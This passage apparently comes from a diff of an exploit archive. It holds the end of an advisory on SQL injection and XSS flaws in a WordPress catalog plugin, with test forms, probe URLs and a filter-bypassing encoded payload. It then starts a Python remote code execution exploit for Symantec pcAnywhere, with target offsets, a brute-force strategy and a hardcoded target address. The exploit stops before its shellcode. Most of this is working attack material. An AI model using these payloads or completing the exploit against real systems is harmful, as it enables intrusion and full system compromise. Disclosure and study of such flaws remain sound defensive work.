|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=remove_cat&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
UPDATE wp_spidercatalog_product_categories SET parent="0" WHERE parent=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
7. SQL Injection in "products.php" function "update_prad_cat()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied POST parameter "ordering"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 364:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function update_prad_cat($id){
|
||||
...
|
||||
$corent_ord=$wpdb->get_var('SELECT `ordering`
|
||||
FROM '.$wpdb->prefix.'spidercatalog_products WHERE id=''.$id.''');
|
||||
...
|
||||
if($corent_ord>$_POST["ordering"])
|
||||
{
|
||||
$rows=$wpdb->get_results('SELECT * FROM '.$wpdb->prefix.'spidercatalog_products
|
||||
WHERE ordering>='.$_POST["ordering"].' AND id<>''.$id.'' ORDER BY `ordering` ASC ');
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now let's use html form below for testing:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=apply&id=0" method="post">
|
||||
<input type="hidden" name="ordering" value="waraxe">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After pushing "Test" button SQL error will be shown on resulting webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT * FROM wp_spidercatalog_products WHERE ordering>=waraxe ORDER BY `ordering` ASC
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
8. SQL Injection in "products.php" function "change_prod()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 245:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function change_prod( $id ){
|
||||
...
|
||||
$published=$wpdb->get_var("SELECT published
|
||||
FROM ".$wpdb->prefix."spidercatalog_products WHERE `id`=".$id );
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=unpublish_prad&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT published FROM wp_spidercatalog_products WHERE `id`=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
9. SQL Injection in "products.php" function "spider_cat_prod_rev()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied POST parameter "order_by"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 745:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function spider_cat_prod_rev($id)
|
||||
{
|
||||
...
|
||||
if(isset($_POST['page_number']))
|
||||
{
|
||||
if($_POST['asc_or_desc'])
|
||||
{
|
||||
$sort["sortid_by"]=$_POST['order_by'];
|
||||
...
|
||||
$order="ORDER BY ".$sort["sortid_by"]." ASC";
|
||||
...
|
||||
$query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_reviews".
|
||||
$where." ". $order." "." LIMIT ".$limit.",20";
|
||||
$rows = $wpdb->get_results($query);
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now let's use html form below for testing:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_reviews&id=0" method="post">
|
||||
<input type="hidden" name="order_by" value="waraxe">
|
||||
<input type="hidden" name="page_number" value="1">
|
||||
<input type="hidden" name="asc_or_desc" value="1">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After pushing "Test" button SQL error will be shown on resulting webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'order clause']
|
||||
SELECT * FROM wp_spidercatalog_product_reviews WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
10. SQL Injection in "products.php" function "delete_rev()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied POST parameter "post"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 817:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function delete_rev($id){
|
||||
..
|
||||
$cid = $_POST['post'];
|
||||
...
|
||||
$cids = implode(',', $cid);
|
||||
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews
|
||||
WHERE id IN ( ".$cids." )";
|
||||
if(!$wpdb->query($query))
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now let's use html form below for testing:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_reviews" method="post">
|
||||
<input type="hidden" name="post[]" value="waraxe">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After pushing "Test" button SQL error will be shown on resulting webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
DELETE FROM wp_spidercatalog_product_reviews WHERE id IN ( waraxe )
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
11. SQL Injection in "products.php" function "delete_single_review()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "del_id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 854:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function delete_single_review($id)
|
||||
{
|
||||
...
|
||||
$del_id=$_GET['del_id'];
|
||||
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews
|
||||
WHERE id=".$del_id;
|
||||
if(!$wpdb->query($query))
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_review&del_id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
DELETE FROM wp_spidercatalog_product_reviews WHERE id=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
12. SQL Injection in "products.php" function "spider_cat_prod_rating()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied POST parameter "order_by"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 940:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function spider_cat_prod_rating($id)
|
||||
{
|
||||
...
|
||||
if(isset($_POST['page_number']))
|
||||
{
|
||||
if($_POST['asc_or_desc'])
|
||||
{
|
||||
$sort["sortid_by"]=$_POST['order_by'];
|
||||
...
|
||||
$order="ORDER BY ".$sort["sortid_by"]." ASC";
|
||||
...
|
||||
$query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_votes"
|
||||
.$where." ". $order." "." LIMIT ".$limit.",20";
|
||||
$rows = $wpdb->get_results($query);
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now let's use html form below for testing:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_rating&id=0" method="post">
|
||||
<input type="hidden" name="order_by" value="waraxe">
|
||||
<input type="hidden" name="page_number" value="1">
|
||||
<input type="hidden" name="asc_or_desc" value="1">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After pushing "Test" button SQL error will be shown on resulting webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'order clause']
|
||||
SELECT * FROM wp_spidercatalog_product_votes WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
13. SQL Injection in "products.php" function "delete_ratings()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied POST parameter "post"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 1014:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function delete_ratings($id){
|
||||
...
|
||||
$cid = $_POST['post'];
|
||||
...
|
||||
$cids = implode(',', $cid);
|
||||
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes
|
||||
WHERE id IN ( ".$cids." )";
|
||||
|
||||
if(!$wpdb->query($query))
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now let's use html form below for testing:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_ratings" method="post">
|
||||
<input type="hidden" name="post[]" value="waraxe">
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
After pushing "Test" button SQL error will be shown on resulting webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
DELETE FROM wp_spidercatalog_product_votes WHERE id IN ( waraxe )
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
14. SQL Injection in "products.php" function "delete_single_rating()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "del_id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 1051:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function delete_single_rating($id)
|
||||
{
|
||||
...
|
||||
$del_id=$_GET['del_id'];
|
||||
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes
|
||||
WHERE id=".$del_id;
|
||||
if(!$wpdb->query($query))
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_rating&del_id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
DELETE FROM wp_spidercatalog_product_votes WHERE id=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
15. SQL Injection in "products.php" function "update_s_c_rating()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of user-supplied data
|
||||
Attack vector:
|
||||
1. user-supplied GET parameter "id"
|
||||
Preconditions:
|
||||
1. must be logged in as Wordpress admin
|
||||
|
||||
|
||||
Php script "products.php" line 1086:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
function update_s_c_rating($id){
|
||||
...
|
||||
$rows=$wpdb->get_col("SELECT `id` FROM
|
||||
".$wpdb->prefix."spidercatalog_product_votes WHERE product_id=".$id);
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
first we need to make sure, that Wordpress will show SQL errors.
|
||||
Let's open the file "wp-includes/wp-db.php" and change the line
|
||||
|
||||
var $show_errors = false;
|
||||
|
||||
to the line below:
|
||||
|
||||
var $show_errors = true;
|
||||
|
||||
Now log in as Wordpress admin and then issue GET request as below:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=s_p_apply_rating&id=waraxe
|
||||
|
||||
As result SQL errors will be shown on webpage:
|
||||
|
||||
WordPress database error: [Unknown column 'waraxe' in 'where clause']
|
||||
SELECT `id` FROM wp_spidercatalog_product_votes WHERE product_id=waraxe
|
||||
|
||||
This confirms SQL Injection existence.
|
||||
|
||||
|
||||
###############################################################################
|
||||
16. Stored XSS in Spider Catalog category name
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Preconditions:
|
||||
1. must be logged in as user with "manage_options" privileges (admin by default)
|
||||
|
||||
Test:
|
||||
|
||||
1. Add or edit Spider Catalog category entry and set name for category as following:
|
||||
|
||||
test<script>alert(123);</script>
|
||||
|
||||
2. View added/edited category:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=2
|
||||
|
||||
Result: javascript alert box pops up, confirming Stored XSS vulnerability.
|
||||
|
||||
|
||||
###############################################################################
|
||||
17. Stored XSS in Spider Catalog product name
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Preconditions:
|
||||
1. must be logged in as user with "manage_options" privileges (admin by default)
|
||||
|
||||
Test:
|
||||
|
||||
1. Add or edit Spider Catalog product entry and set name for product as following:
|
||||
|
||||
test<script>alert(123);</script>
|
||||
|
||||
2. View added/edited product:
|
||||
|
||||
http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_prad&id=5
|
||||
|
||||
Result: javascript alert box pops up, confirming Stored XSS vulnerability.
|
||||
|
||||
|
||||
###############################################################################
|
||||
18. Reflected XSS in "Categories.html.php"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Attack vectors:
|
||||
1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and
|
||||
"order_by"
|
||||
Preconditions:
|
||||
1. logged in as user with "manage_options" privileges (admin by default)
|
||||
|
||||
|
||||
Php script "Categories.html.php" line 90:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){
|
||||
$serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}}
|
||||
...
|
||||
<input type="text" name="search_events_by_title" value="'.$serch_value.'"
|
||||
...
|
||||
<input type="hidden" name="asc_or_desc" id="asc_or_desc"
|
||||
value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" />
|
||||
<input type="hidden" name="order_by" id="order_by"
|
||||
value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" />
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog" method="post">
|
||||
<input type="hidden" name="serch_or_not" value="search">
|
||||
<input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'>
|
||||
<input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'>
|
||||
<input type="hidden" name="order_by" value='"><script>alert(333);</script>'>
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
|
||||
|
||||
|
||||
###############################################################################
|
||||
19. Reflected XSS in "Products.html.php"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Attack vectors:
|
||||
1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and
|
||||
"order_by"
|
||||
Preconditions:
|
||||
1. logged in as user with "manage_options" privileges (admin by default)
|
||||
|
||||
|
||||
Php script "Products.html.php" line 91:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){
|
||||
$serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}}
|
||||
...
|
||||
<input type="text" name="search_events_by_title" value="'.$serch_value.'"
|
||||
...
|
||||
<input type="hidden" name="asc_or_desc" id="asc_or_desc"
|
||||
value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" />
|
||||
<input type="hidden" name="order_by" id="order_by"
|
||||
value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" />
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Test:
|
||||
|
||||
<html><body><center>
|
||||
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog" method="post">
|
||||
<input type="hidden" name="serch_or_not" value="search">
|
||||
<input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'>
|
||||
<input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'>
|
||||
<input type="hidden" name="order_by" value='"><script>alert(333);</script>'>
|
||||
<input type="submit" value="Test">
|
||||
</form>
|
||||
</center></body></html>
|
||||
|
||||
Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
|
||||
|
||||
|
||||
###############################################################################
|
||||
20. Reflected XSS in "spiderBox/spiderBox.js.php"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Attack vectors:
|
||||
1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop",
|
||||
"darkBG","juriroot"
|
||||
Preconditions:
|
||||
1. PHP setting "register_globals=1"
|
||||
|
||||
|
||||
Php script "spiderBox.js.php" line 243:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
slideShowDelay=<?php echo $_GET['delay']; ?>;
|
||||
slideShowQ=<?php echo $_GET['slideShowQ']; ?>;
|
||||
allImagesQ=<?php echo $_GET['allImagesQ']; ?>;
|
||||
spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>;
|
||||
darkBG=<?php echo $_GET['darkBG']; ?>;
|
||||
keyOfOpenImage=-1;
|
||||
spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/";
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
Tests:
|
||||
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?delay=</script><script>alert(123);</script>
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?slideShowQ=</script><script>alert(123);</script>
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?allImagesQ=</script><script>alert(123);</script>
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?spiderShop=</script><script>alert(123);</script>
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?darkBG=</script><script>alert(123);</script>
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=</script><script>alert(123);</script>
|
||||
|
||||
Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.
|
||||
|
||||
By the way, GET parameter "juriroot" allows us to use double url encoding,
|
||||
which bypasses IE Anti-XSS filter:
|
||||
|
||||
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=%253C%252Fscript%253E%253Cscript%253Ealert%2528123%2529%253B%253C%252Fscript%253E
|
||||
|
||||
|
||||
###############################################################################
|
||||
21. Reflected XSS in "catalog.php" function "spider_box_js_php()"
|
||||
###############################################################################
|
||||
|
||||
Reason:
|
||||
1. insufficient sanitization of html output
|
||||
Attack vectors:
|
||||
1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop",
|
||||
"darkBG","juriroot"
|
||||
Preconditions: none
|
||||
|
||||
Php script "catalog.php" line 1026:
|
||||
------------------------[ source code start ]----------------------------------
|
||||
add_action('wp_ajax_spiderboxjsphp', 'spider_box_js_php');
|
||||
add_action('wp_ajax_nopriv_spiderboxjsphp', 'spider_box_js_php');
|
||||
|
||||
function spider_box_js_php(){
|
||||
...
|
||||
slideShowDelay=<?php echo $_GET['delay']; ?>;
|
||||
slideShowQ=<?php echo $_GET['slideShowQ']; ?>;
|
||||
allImagesQ=<?php echo $_GET['allImagesQ']; ?>;
|
||||
spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>;
|
||||
darkBG=<?php echo $_GET['darkBG']; ?>;
|
||||
keyOfOpenImage=-1;
|
||||
spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/";
|
||||
------------------------[ source code end ]------------------------------------
|
||||
|
||||
452
platforms/win32/remote/38599.py
Executable file
452
platforms/win32/remote/38599.py
Executable file
|
|
@ -0,0 +1,452 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
################################################################
|
||||
# Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE
|
||||
# Date: 2015-10-31
|
||||
# Exploit Author: Tomislav Paskalev
|
||||
# Vendor Homepage: https://www.symantec.com/
|
||||
# Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe
|
||||
# Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial)
|
||||
# Vulnerable Software:
|
||||
# Symantec pcAnywhere 12.5.x through 12.5.3
|
||||
# Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x)
|
||||
# Tested on:
|
||||
# Symantec pcAnywhere v12.5.0 Build 442 (Trial)
|
||||
# --------------------------------------------
|
||||
# Microsoft Windows Vista Ultimate SP1 x86 EN
|
||||
# Microsoft Windows Vista Ultimate SP2 x86 EN
|
||||
# Microsoft Windows 2008 Enterprise SP2 x86 EN
|
||||
# Microsoft Windows 7 Professional SP1 x86 EN
|
||||
# Microsoft Windows 7 Ultimate SP1 x86 EN
|
||||
# CVE ID: 2011-3478
|
||||
# OSVDB-ID: 78532
|
||||
################################################################
|
||||
# Vulnerability description:
|
||||
# The application's module used for handling incoming connections
|
||||
# (awhost32.exe) contains a flaw. When handling authentication
|
||||
# requests, the vulnerable process copies user provided input
|
||||
# to a fixed length buffer without performing a length check.
|
||||
# A remote unauthenticated attacker can exploit this vulnerability
|
||||
# to cause a buffer overflow and execute arbitrary code in the
|
||||
# context of the exploited application (installed as a service
|
||||
# by default, i.e. with "NT AUTHORITY\SYSTEM" privileges).
|
||||
################################################################
|
||||
# Target application notes:
|
||||
# - the application processes one login attempt at a time
|
||||
# (i.e. multiple parallel login requests are not possible)
|
||||
# - available modules (interesting exploit wise):
|
||||
# Name | Rebase | SafeSEH | ASLR | NXCompat | OS Dll
|
||||
# -------------------------------------------------------------
|
||||
# awhost32.exe | False | False | False | False | False
|
||||
# ijl20.dll | False | False | False | False | False
|
||||
# IMPLODE.DLL | False | False | False | False | False
|
||||
# -------------------------------------------------------------
|
||||
# - supported Windows x86 operating systems (pcAnywhere v12.5)
|
||||
# - Windows 2000
|
||||
# - Windows 2003 Server
|
||||
# - Windows 2008 Server
|
||||
# - Windows XP
|
||||
# - Windows Vista
|
||||
# - Windows 7
|
||||
################################################################
|
||||
# Exploit notes:
|
||||
# - bad characters: "\x00"
|
||||
# - Windows Vista, Windows 2008 Server, Windows 7
|
||||
# - after a shellcode execution event occurs, the
|
||||
# application does not crash and remains fully functional
|
||||
# - one successful shellcode execution event has a low
|
||||
# success rate (applies to all OSes)
|
||||
# - in order to achieve an overall more reliable exploit,
|
||||
# multiple shellcode executions need to be performed
|
||||
# (until the shellcode is successfully executed)
|
||||
# - brute force is a feasible method
|
||||
# - multiple parallel brute force attacks are not possible
|
||||
# - multiple valid offsets are available (i.e. not just the
|
||||
# ones tested)
|
||||
################################################################
|
||||
# Test notes:
|
||||
# - all tested OSes
|
||||
# - clean default installations
|
||||
# - all OS specific statistics referenced in the exploit are
|
||||
# based on the test results of 10 attempts per tested offset
|
||||
# - all attempts were performed after a system reboot (VM)
|
||||
# - the provided test results should be taken only as a rough guide
|
||||
# - in practice it might occur that the number of attempts
|
||||
# needed to achieve successful exploitation is (much)
|
||||
# higher than the maximum value contained in the test
|
||||
# results, or that the exploit does not succeed at all
|
||||
# - other (untested) offsets might provide better results
|
||||
# - not letting the OS and application load fully/properly before
|
||||
# starting the exploit may lead to failed exploitation (this
|
||||
# observation was made during the testing of the exploit and
|
||||
# applies mostly to Windows 7)
|
||||
################################################################
|
||||
# Patch:
|
||||
# https://support.symantec.com/en_US/article.TECH179526.html
|
||||
# https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us
|
||||
################################################################
|
||||
# Thanks to:
|
||||
# Tal zeltzer (discovered the vulnerability)
|
||||
# S2 Crew (Python PoC)
|
||||
################################################################
|
||||
# In memoriam:
|
||||
# msfpayload | msfencode [2005 - 2015]
|
||||
################################################################
|
||||
# References:
|
||||
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478
|
||||
# http://www.zerodayinitiative.com/advisories/ZDI-12-018/
|
||||
# https://www.exploit-db.com/exploits/19407/
|
||||
################################################################
|
||||
|
||||
|
||||
import socket
|
||||
import time
|
||||
import struct
|
||||
import string
|
||||
import sys
|
||||
|
||||
|
||||
|
||||
|
||||
################################
|
||||
### HARDCODED TARGET INFO ###
|
||||
################################
|
||||
|
||||
|
||||
# target server info
|
||||
# >>> MODIFY THIS >>>
|
||||
targetServer = "192.168.80.227"
|
||||
targetPort = 5631
|
||||
|
||||
|
||||
# Supported operating systems
|
||||
vistaUltSP1 = {
|
||||
'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN',
|
||||
'Offset': 0x03e60000,
|
||||
'PasswordStringLength': 3500,
|
||||
'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10]
|
||||
};
|
||||
vistaUltSP2 = {
|
||||
'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN',
|
||||
'Offset': 0x03e60000,
|
||||
'PasswordStringLength': 3500,
|
||||
'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16]
|
||||
};
|
||||
s2k8EntSP2 = {
|
||||
'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN',
|
||||
'Offset': 0x03dd0000,
|
||||
'PasswordStringLength': 3500,
|
||||
'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24]
|
||||
};
|
||||
sevenProSP1 = {
|
||||
'Version': 'Microsoft Windows 7 Professional SP1 x86 EN',
|
||||
'Offset': 0x03a70000,
|
||||
'PasswordStringLength': 3500,
|
||||
'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98]
|
||||
};
|
||||
sevenUltSP1 = {
|
||||
'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN',
|
||||
